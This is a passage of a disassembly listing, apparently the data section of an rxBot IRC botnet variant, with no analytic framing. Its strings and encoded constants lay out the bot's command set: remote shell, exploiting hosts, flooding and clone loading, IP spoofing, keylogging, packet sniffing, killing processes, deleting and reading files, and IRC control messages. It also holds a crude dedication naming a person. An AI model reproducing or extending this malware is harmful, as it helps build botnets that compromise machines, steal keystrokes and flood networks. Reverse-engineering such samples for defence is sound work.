aServerStartedO	db ' Server started on Port: %d, File: %s.',0
		align 4
unk_4408F4	db  2Dh	; -		; DATA XREF: sub_401C87+20DCo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToStar_3	db ' Failed to start server thread, error: <%d>.',0
		align 10h
unk_440930	db  2Dh	; -		; DATA XREF: sub_401C87+21F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListenin	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_44096C	db  2Dh	; -		; DATA XREF: sub_401C87+2251o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToStar_4	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_4409A8	db  2Dh	; -		; DATA XREF: sub_401C87+232Fo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListen_0	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_4409E4	db  2Dh	; -		; DATA XREF: sub_401C87+2388o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToStar_5	db '- Failed to start server thread, error: <%d>.',0
		align 10h
unk_440A20	db  2Dh	; -		; DATA XREF: sub_401C87+241Bo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 4
unk_440A44	db  2Dh	; -		; DATA XREF: sub_401C87:loc_4040A9o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 10h
unk_440A70	db  2Dh	; -		; DATA XREF: sub_401C87:loc_4040B0o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 4
unk_440A9C	db  2Dh	; -		; DATA XREF: sub_401C87+2453o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 10h
unk_440AC0	db  2Dh	; -		; DATA XREF: sub_401C87:loc_4040E1o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 4
dword_440AEC	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401C87+246Ao
		dd 2Dh
dword_440B04	dd 234032Dh, 6E69616Dh,	202D0302h, 20746547h, 70696C43h
					; DATA XREF: sub_401C87+2498o
		dd 72616F62h, 2E64h
unk_440B20	db  2Dh	; -		; DATA XREF: sub_401C87+24AEo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 4
unk_440B4C	db  2Dh	; -		; DATA XREF: sub_401C87+24CDo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
unk_440B74	db  2Dh	; -		; DATA XREF: sub_401C87:loc_40415Eo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
dword_440B94	dd 234032Dh, 6E69616Dh,	202D0302h, 69747055h, 203A656Dh
					; DATA XREF: sub_401C87+2566o
		dd 2E7325h
dword_440BAC	dd 234032Dh, 656B6463h,	3027379h ; DATA	XREF: sub_401C87+25B5o
aSearchComplete	db '- Search completed.',0
unk_440BCC	db  2Dh	; -		; DATA XREF: sub_401C87+25E1o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_0	db ' Already running.',0
		align 4
aFull		db 'full',0             ; DATA XREF: sub_401C87+2643o
		align 4
dword_440BF4	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401C87+2663o
		dd 696C2073h, 2E7473h
unk_440C10	db  2Dh	; -		; DATA XREF: sub_401C87+26C2o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToStartL	db ' Failed to start listing thread, error: <%d>.',0
		align 4
dword_440C4C	dd 234032Dh, 6E69616Dh,	202D0302h, 6F6D6552h, 676E6976h
					; DATA XREF: sub_401C87+26F3o
		dd 746F4220h, 2Eh
dword_440C68	dd 234032Dh, 6E69616Dh,	202D0302h, 74737953h, 49206D65h
					; DATA XREF: sub_401C87+2748o
		dd 2E6F666Eh, 0
dword_440C84	dd 234032Dh, 6E69616Dh,	202D0302h, 7774654Eh, 206B726Fh
					; DATA XREF: sub_401C87+2777o
		dd 6F666E49h, 2Eh
dword_440CA0	dd 7325h		; DATA XREF: sub_401C87+27C8o
dword_440CA4	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401C87+27FBo
		dd 2E676Fh
unk_440CBC	db  2Dh	; -		; DATA XREF: sub_401C87+2872o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToStar_6	db '- Failed to start listing thread, error: <%d>.',0
dword_440CF4	dd 234032Dh, 6E69616Dh,	202D0302h, 61696C41h, 696C2073h
					; DATA XREF: sub_401C87+28A2o
		dd 2E7473h
dword_440D0C	dd 627573h		; DATA XREF: sub_401C87+28F4o
dword_440D10	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401C87+291Ao
		dd 65726874h, 2E736461h, 0
unk_440D30	db  2Dh	; -		; DATA XREF: sub_401C87+2973o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToStar_7	db '- Failed to start list thread, error: <%d>.',0
		align 4
dword_440D6C	dd 234032Dh, 6E69616Dh,	202D0302h, 20746F42h, 203A4449h
					; DATA XREF: sub_401C87+29ACo
		dd 2E7325h
unk_440D84	db  2Dh	; -		; DATA XREF: sub_401C87+29EAo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aStatusReady_Bo	db 'Status: Ready. Bot Uptime: %s.',0
		align 10h
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+2A36o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401C87:loc_4046CFo
		align 4
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401C87:loc_4046E6o
		align 4
dword_440DE4	dd 234032Dh, 6E69616Dh,	202D0302h, 63736944h, 656E6E6Fh
					; DATA XREF: sub_401C87+2A6Co
		dd 6E697463h, 2E67h
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401C87:loc_404708o
		align 4
dword_440E18	dd 234032Dh, 6E69616Dh,	202D0302h, 6F636552h, 63656E6Eh
					; DATA XREF: sub_401C87+2A8Eo
		dd 676E6974h, 2Eh
dword_440E34	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401C87+2B01o
dword_440E44	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401C87+2B06o
dword_440E54	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401C87+2B19o
dword_440E60	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401C87+2B1Eo
dword_440E70	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401C87+2BD1o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_440E98	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401C87+2C2Ao
aFailedToStar_8	db '- Failed to start server thread, error: <%d>.',0
		align 4
unk_440ED4	db  2Dh	; -		; DATA XREF: sub_401C87+2CC1o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on: %s:%d.',0
		align 10h
unk_440F00	db  2Dh	; -		; DATA XREF: sub_401C87+2D2Fo
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToStar_9	db ' Failed to start server thread, error: <%d>.',0
		align 10h
aSecure_0	db 'secure',0           ; DATA XREF: sub_401C87+2D4Fo
		align 4
aSec_0		db 'sec',0              ; DATA XREF: sub_401C87+2D60o
aSecuring	db 'Securing',0         ; DATA XREF: sub_401C87+2DBBo
		align 4
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401C87+2DC2o
		align 4
dword_440F64	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401C87+2DC8o
		dd 2E6D6574h, 0
dword_440F80	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401C87+2E2Co
aFailedToSta_10	db '- Failed to start secure thread, error: <%d>.',0
		align 10h
unk_440FC0	db  2Dh	; -		; DATA XREF: sub_401C87:loc_404AEBo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aThisModOfRxbot	db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
		db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
		db 'from Hell?) who I love so much.',0
		align 10h
dword_441070	dd 234032Dh, 6E69616Dh,	202D0302h, 7325h ; DATA	XREF: sub_401C87+2E73o
unk_441080	db  2Dh	; -		; DATA XREF: sub_401C87+2EB1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_1	db 'User %s logged out.',0
unk_4410A0	db  2Dh	; -		; DATA XREF: sub_401C87+2EC4o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNoUserLoggedIn	db 'No user logged in at slot: %d.',0
		align 4
unk_4410CC	db  2Dh	; -		; DATA XREF: sub_401C87+2ECFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aInvalidLoginSl	db 'Invalid login slot number: %d.',0
		align 4
unk_4410F8	db  2Dh	; -		; DATA XREF: sub_401C87+2F11o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_2	db 'User %s logged out.',0
a332_1		db '332',0              ; DATA XREF: sub_401C87+2F21o
aGet_2		db 'get',0              ; DATA XREF: sub_401C87:loc_404BC8o
unk_441120	db  2Dh	; -		; DATA XREF: sub_401C87+2F63o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 4
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401C87+2FBCo
		align 4
unk_441164	db  2Dh	; -		; DATA XREF: sub_401C87+2FD4o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurr_0	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 4
unk_44119C	db  2Dh	; -		; DATA XREF: sub_401C87+2FF4o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
unk_4411D0	db  2Dh	; -		; DATA XREF: sub_401C87+301Eo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 4
aExploit	db 'exploit',0          ; DATA XREF: sub_401C87+303Co
unk_441204	db  2Dh	; -		; DATA XREF: sub_401C87+30B9o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
unk_441234	db  2Dh	; -		; DATA XREF: sub_401C87+3115o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401C87+3135o
		align 4
aRin		db 'rin',0              ; DATA XREF: sub_401C87+314Ao
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401C87+315Fo
aRinms		db 'rinms',0            ; DATA XREF: sub_401C87+3174o
		align 10h
aFlood		db 'flood',0            ; DATA XREF: sub_401C87+318Bo
		align 4
aLoad		db 'load',0             ; DATA XREF: sub_401C87+31B4o
		align 10h
unk_4412B0	db  2Dh	; -		; DATA XREF: sub_401C87+3208o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aSClonesLoadedT	db '- %s clones loaded to %s:%s',0
		align 4
aPm_1		db 'pm',0               ; DATA XREF: sub_401C87+323Ao
		align 10h
a__5:					; DATA XREF: sub_401C87+3255o
					; sub_401C87+325Ao
		unicode	0, < _>
aPrivmsgSS_3	db 'privmsg %s :%s',0   ; DATA XREF: sub_401C87+3286o
		align 4
aCt		db 'ct',0               ; DATA XREF: sub_401C87+32A3o
		align 4
a__6:					; DATA XREF: sub_401C87+32BEo
					; sub_401C87+32C3o
		unicode	0, < _>
dword_4412FC	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401C87+32EFo
dword_441310	dd 746Eh		; DATA XREF: sub_401C87+330Co
byte_441314	db 20h,	0		; DATA XREF: sub_401C87+3327o
word_441316	dw 5Fh			; DATA XREF: sub_401C87+332Co
dword_441318	dd 69746F6Eh, 25206563h, 253A2073h, 73h	; DATA XREF: sub_401C87+3358o
aMode		db 'mode',0             ; DATA XREF: sub_401C87+3375o
		align 2
asc_44132E	db ' ',0                ; DATA XREF: sub_401C87+3390o
a_:					; DATA XREF: sub_401C87+3395o
		unicode	0, <_>,0
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401C87+33C1o
		align 10h
aJoin		db 'join',0             ; DATA XREF: sub_401C87+33DEo
		align 4
aJoinS		db 'join %s',0          ; DATA XREF: sub_401C87+3400o
aPart_1		db 'part',0             ; DATA XREF: sub_401C87+341Do
		align 4
aPartS		db 'part %s',0          ; DATA XREF: sub_401C87+343Fo
aPartflood	db 'partflood',0        ; DATA XREF: sub_401C87+345Co
		align 4
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401C87+3483o
		align 4
aPnick		db 'pnick',0            ; DATA XREF: sub_401C87+34A0o
		align 10h
aSI		db '%s%i',0             ; DATA XREF: sub_401C87+34E0o
		align 4
aNickS_0	db 'NICK %s',0          ; DATA XREF: sub_401C87+34F8o
aJoinPart	db 'join/part',0        ; DATA XREF: sub_401C87+3515o
		align 4
aJoinS_0	db 'join %s',0          ; DATA XREF: sub_401C87+3543o
aPartSS_0	db 'part %s %s',0       ; DATA XREF: sub_401C87+356Co
		align 10h
aJoinS_1	db 'join %s',0          ; DATA XREF: sub_401C87+35A3o
aPartSS_1	db 'part %s %s',0       ; DATA XREF: sub_401C87+35DFo
		align 4
aJoinS_2	db 'join %s',0          ; DATA XREF: sub_401C87+3603o
aPartSS_2	db 'part %s %s',0       ; DATA XREF: sub_401C87+363Fo
		align 4
aDcc		db 'dcc',0              ; DATA XREF: sub_401C87+365Co
dword_4413DC	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401C87+36D9o
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
aNick_0		db 'nick',0             ; DATA XREF: sub_401C87+36F6o
		align 4
aJoinS_3	db 'join %s',0          ; DATA XREF: sub_401C87+3720o
aNickS_1	db 'NICK %s',0          ; DATA XREF: sub_401C87+3750o
aNickS_2	db 'NICK %s',0          ; DATA XREF: sub_401C87+3793o
aNickS_3	db 'NICK %s',0          ; DATA XREF: sub_401C87+37D6o
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401C87+37F3o
aNickS_4	db 'NICK %s',0          ; DATA XREF: sub_401C87+381Co
aMsg		db 'msg',0              ; DATA XREF: sub_401C87+3839o
aJoinS_4	db 'join %s',0          ; DATA XREF: sub_401C87+3867o
aPrivmsgSS	db 'privmsg %s :%s',0   ; DATA XREF: sub_401C87+3890o
		align 4
aPrivmsgSS_0	db 'privmsg %s :%s',0   ; DATA XREF: sub_401C87+38CCo
		align 4
aPrivmsgSS_1	db 'privmsg %s :%s',0   ; DATA XREF: sub_401C87+3908o
		align 4
aNotice_2	db 'notice',0           ; DATA XREF: sub_401C87+3925o
		align 10h
aJoinS_5	db 'join %s',0          ; DATA XREF: sub_401C87+3953o
aNoticeSS_1	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401C87+397Co
		align 4
aNoticeSS_2	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401C87+39B8o
		align 4
aNoticeSS_3	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401C87+39F4o
		align 4
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401C87+3A11o
		align 10h
aJoinS_6	db 'join %s',0          ; DATA XREF: sub_401C87+3A3Fo
dword_4414C8	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401C87+3A63o
dword_4414DC	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401C87+3A9Ao
		dd 1
dword_4414F4	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401C87+3AD1o
		dd 0
dword_44150C	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401C87+3B08o
		dd 0
dword_441524	dd 78696Dh		; DATA XREF: sub_401C87+3B25o
dword_441528	dd 6E696F6Ah, 732520h	; DATA XREF: sub_401C87+3B53o
dword_441530	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401C87+3B77o
dword_441544	dd 49544F4Eh, 25204543h, 253A2073h, 73h	; DATA XREF: sub_401C87+3BB3o
dword_441554	dd 56495250h, 2047534Dh, 3A207325h, 7325h ; DATA XREF: sub_401C87+3BEFo
dword_441564	dd 49544F4Eh, 25204543h, 253A2073h, 73h	; DATA XREF: sub_401C87+3C2Bo
aRegister	db 'register',0         ; DATA XREF: sub_401C87+3C48o
		align 10h
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401C87+3C71o
aOff_0		db 'off',0              ; DATA XREF: sub_401C87+3C8Eo
unk_44159C	db  2Dh	; -		; DATA XREF: sub_401C87+3CD5o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
aNick_1		db 'nick',0             ; DATA XREF: sub_401C87+3CF4o
		align 2
aN		db 'n',0                ; DATA XREF: sub_401C87+3D09o
aJoin_0		db 'join',0             ; DATA XREF: sub_401C87+3D1Eo
		align 2
aJ		db 'j',0                ; DATA XREF: sub_401C87+3D33o
aPart_2		db 'part',0             ; DATA XREF: sub_401C87+3D48o
		align 4
aPt		db 'pt',0               ; DATA XREF: sub_401C87+3D5Do
		align 10h
aRaw		db 'raw',0              ; DATA XREF: sub_401C87+3D72o
aR_0:					; DATA XREF: sub_401C87+3D87o
		unicode	0, <r>,0
aKillthread	db 'killthread',0       ; DATA XREF: sub_401C87+3D9Co
		align 4
aK_0:					; DATA XREF: sub_401C87+3DB1o
		unicode	0, <k>,0
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401C87+3DC6o
		align 10h
aC_q		db 'c_q',0              ; DATA XREF: sub_401C87+3DDBo
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401C87+3DF0o
		align 10h
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401C87+3E05o
		align 4
aPrefix		db 'prefix',0           ; DATA XREF: sub_401C87+3E1Ao
		align 10h
aPr		db 'pr',0               ; DATA XREF: sub_401C87+3E2Fo
		align 4
aOpen		db 'open',0             ; DATA XREF: sub_401C87+3E44o
		align 2
aO		db 'o',0                ; DATA XREF: sub_401C87+3E59o
aServer_0	db 'server',0           ; DATA XREF: sub_401C87+3E6Eo
		align 4
aSe		db 'se',0               ; DATA XREF: sub_401C87+3E83o
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_401C87+3E98o
aDn		db 'dn',0               ; DATA XREF: sub_401C87+3EADo
		align 10h
aKillproc	db 'killproc',0         ; DATA XREF: sub_401C87+3EC2o
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401C87+3ED7o
		align 10h
aKill		db 'kill',0             ; DATA XREF: sub_401C87+3EECo
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401C87+3F01o
		align 4
aDelete		db 'delete',0           ; DATA XREF: sub_401C87+3F16o
		align 4
aDel		db 'del',0              ; DATA XREF: sub_401C87+3F2Bo
aGet		db 'get',0              ; DATA XREF: sub_401C87+3F40o
aGt		db 'gt',0               ; DATA XREF: sub_401C87+3F55o
		align 10h
aList		db 'list',0             ; DATA XREF: sub_401C87+3F6Ao
		align 4
aLi		db 'li',0               ; DATA XREF: sub_401C87+3F7Fo
		align 4
aVisit		db 'visit',0            ; DATA XREF: sub_401C87+3F94o
aV		db 'v',0                ; DATA XREF: sub_401C87+3FA9o
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401C87+3FBEo
aMirc		db 'mirc',0             ; DATA XREF: sub_401C87+3FD3o
		align 4
aCmd		db 'cmd',0              ; DATA XREF: sub_401C87+3FE8o
aCm		db 'cm',0               ; DATA XREF: sub_401C87+3FFDo
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_401C87+4012o
		align 4
aRf		db 'rf',0               ; DATA XREF: sub_401C87+4027o
		align 4
aPsniff		db 'psniff',0           ; DATA XREF: sub_401C87+403Co
		align 4
aOn		db 'on',0               ; DATA XREF: sub_401C87+4053o
		align 4
dword_4416B8	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401C87+4073o
aAlreadyRunni_1	db '- Already running.',0
		align 4
dword_4416D8	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401C87+40D7o
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 4
dword_441708	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401C87+4130o
aFailedToSta_11	db '- Failed to start sniffer thread, error: <%d>.',0
		align 4
aOff_2		db 'off',0              ; DATA XREF: sub_401C87+4152o
dword_441748	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401C87+4175o
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 4
dword_441784	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401C87:loc_405E06o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 10h
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401C87+418Ao
aOn_0		db 'on',0               ; DATA XREF: sub_401C87+41A1o
		align 4
unk_4417BC	db  2Dh	; -		; DATA XREF: sub_401C87+41C1o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_2	db '- Already running.',0
unk_4417DC	db  2Dh	; -		; DATA XREF: sub_401C87+4225o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotPacketS	db '- Phatbot packet sniffer active.',0
		align 4
unk_44180C	db  2Dh	; -		; DATA XREF: sub_401C87+427Eo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_12	db '- Failed to start sniffer thread, error: <%d>.',0
aOff_3		db 'off',0              ; DATA XREF: sub_401C87+42A0o
		align 10h
unk_441850	db  2Dh	; -		; DATA XREF: sub_401C87+42C3o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotSniffer	db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_441890	db  2Dh	; -		; DATA XREF: sub_401C87:loc_405F54o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoPhatbotSniff	db '- No Phatbot sniffer thread found.',0
aIdent		db 'ident',0            ; DATA XREF: sub_401C87+42D8o
		align 4
aOn_1		db 'on',0               ; DATA XREF: sub_401C87+42EFo
		align 4
dword_4418CC	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401C87+4311o
aAlreadyRunni_3	db '- Already running.',0
		align 4
dword_4418EC	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401C87:loc_405FA2o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 4
dword_441918	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401C87+4368o
aFailedToSta_13	db '- Failed to start server, error: <%d>.',0
		align 4
aOff_4		db 'off',0              ; DATA XREF: sub_401C87+4375o
dword_441950	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401C87+4398o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 4
dword_441988	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401C87:loc_406029o
aNoThreadFound_	db '- No thread found.',0
		align 4
aKeylog		db 'keylog',0           ; DATA XREF: sub_401C87+43ADo
		align 10h
aOn_2		db 'on',0               ; DATA XREF: sub_401C87+43C5o
		align 4
aFile		db 'file',0             ; DATA XREF: sub_401C87+43D6o
		align 4
aOff_1		db 'off',0              ; DATA XREF: sub_401C87+43E7o
dword_4419C0	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401C87+440Ao
aKeyLoggerStopp	db '- Key logger stopped. (%d thread(s) stopped.)',0
		align 4
dword_4419FC	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401C87:loc_40609Bo
aNoKeyLoggerThr	db '- No key logger thread found.',0
		align 4
dword_441A28	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401C87+442Ao
aAlreadyRunni_4	db '- Already running.',0
		align 4
aFile_0		db 'file',0             ; DATA XREF: sub_401C87+4441o
		align 10h
dword_441A50	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401C87+44ABo
aKeyLoggerActiv	db '- Key logger active.',0
		align 4
dword_441A74	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401C87+4504o
aFailedToSta_14	db '- Failed to start logging thread, error: <%d>.',0
		align 10h
aNet		db 'net',0              ; DATA XREF: sub_401C87+4533o
unk_441AB4	db  2Dh	; -		; DATA XREF: sub_401C87+4557o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aStart		db 'start',0            ; DATA XREF: sub_401C87+4589o
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_401C87+45A8o
		align 4
unk_441AF8	db  2Dh	; -		; DATA XREF: sub_401C87+45DFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 4
unk_441B1C	db  2Dh	; -		; DATA XREF: sub_401C87:loc_406270o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
aStop		db 'stop',0             ; DATA XREF: sub_401C87+45F6o
		align 4
aS_2		db '%s',0               ; DATA XREF: sub_401C87+4611o
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401C87+461Bo
		align 10h
aS_3		db '%s',0               ; DATA XREF: sub_401C87+4636o
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_401C87+4643o
		align 10h
aS_4		db '%s',0               ; DATA XREF: sub_401C87+465Eo
